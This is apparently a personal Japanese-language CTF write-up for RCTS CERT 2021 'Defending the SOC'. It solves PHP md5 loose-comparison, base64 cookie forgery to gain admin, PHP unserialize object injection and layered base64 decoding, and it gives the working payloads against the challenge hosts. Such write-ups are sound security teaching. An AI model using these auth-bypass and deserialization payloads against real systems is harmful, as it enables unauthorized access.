kanyewest CTF

勉強したことをメモしています。

RCTS CERT 2021 Defending the SOC: Write up

Web

Some type of juggling

典型的なloose comparison問題

 <!DOCTYPE HTML>
<?php
    if(isset($_GET['source'])) {
        highlight_file(__FILE__);
        die();
    } else {
        $value = "240610708";
        if (isset($_GET['hash'])) {
            if ($_GET['hash'] === $value) {
                die('It is not THAT easy!');
            } 
            $hash = md5($_GET['hash']);
            $key = md5($value);
            if($hash == $key) {
                include('flag.php');
                print "Congratulations! Your flag is: $flag";
            } else {
                print "Flag not found!";
            }
        } 
    }
?>

<html>
  <head>
    <title>Challenge 1</title>
  </head>
  <body>
    <h2> Source code says it all</h2>
    <p>Try to get the flag using the 'hash' parameter</p>
    <a target="_blank" href="?source">See the source code</a>

  </body>
</html>

github.com

http://challenges.defsoc.tk:8080/?hash=QNKCDZOでflagが出てくる。

flag: flag{php_typ3_juggl1ng_1s_c00l}

Exclusive access

問題サイトをみるとadminしかアクセスできないと表示される。

Cookieuser_typeというパラメータにbase64エンコードされた文字列が与えられているのでデコードしてみると

% echo -n 'Z3Vlc3Q=' | base64 -d
guest

adminという文字列をbase64エンコードしてアクセスするとflagがでてくる。

% echo -n 'admin' | base64
YWRtaW4=

flag: flag{br0k3n_auth3nt1c4t10n}

It is Magic after all

典型的なデシリアライズ問題

 <?php 
include "flag.php";  

class Magic {
    public $key;

    public function doMagic() {
        if ($this->key === true) {
          global $flag;
          echo $flag;
        }
        else {
            echo "Nothing...";
        }
    }
}

if (isset($_GET['magic'])) {  
    $magic = unserialize($_GET['magic']); 
    $magic->doMagic();
} else {
    print "Nothing...";
}  

?> 

以下のコードでシリアライズする

<?php
class Magic{
  public $key = true;
}
$a = new Magic();
echo serialize($a);

http://challenges.defsoc.tk:3000/?magic=O:5:%22Magic%22:1:{s:3:%22key%22;b:1;}でアクセスする。

flag: flag{php_d3s3r14l1z4t10n_3xpl01ts}

Crypto

A simple challenge

% echo -n 'Vm0weE1HRXlTWGxVYTJoVllXeGFVMWx0ZEV0alZuQlhWbXQwYVUxVk5WZFpWVlUxWVZaS2RHUkVXbFpOYWtVd1dWUkdSbVF4VG5GUmJHaHBVakpvVVZkc1pEUmpNV1JIWTBWb2JGSnJTbTlXYkZaM1RVWmtXR1JIZEZOTmEzQXdWbTF3WVZaWFNuTlhiVVpoVmpOU1RGa3llRk5XTVd3MlVtMXNhVkl5WTNsV1Z6QXhaREZrVmsxWVJsWmhhelZvVld4YWNrMUdjRmhOVlhSclVteEtNVmxyWkRSWFJrcFdZa1JPVjFKc2NGUlZWRXBUVm0xS1IySkZOVk5TUlVVMQ==' | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d

flag: flag{3nc0d1ng_1s_n0t_3ncrypt10n!}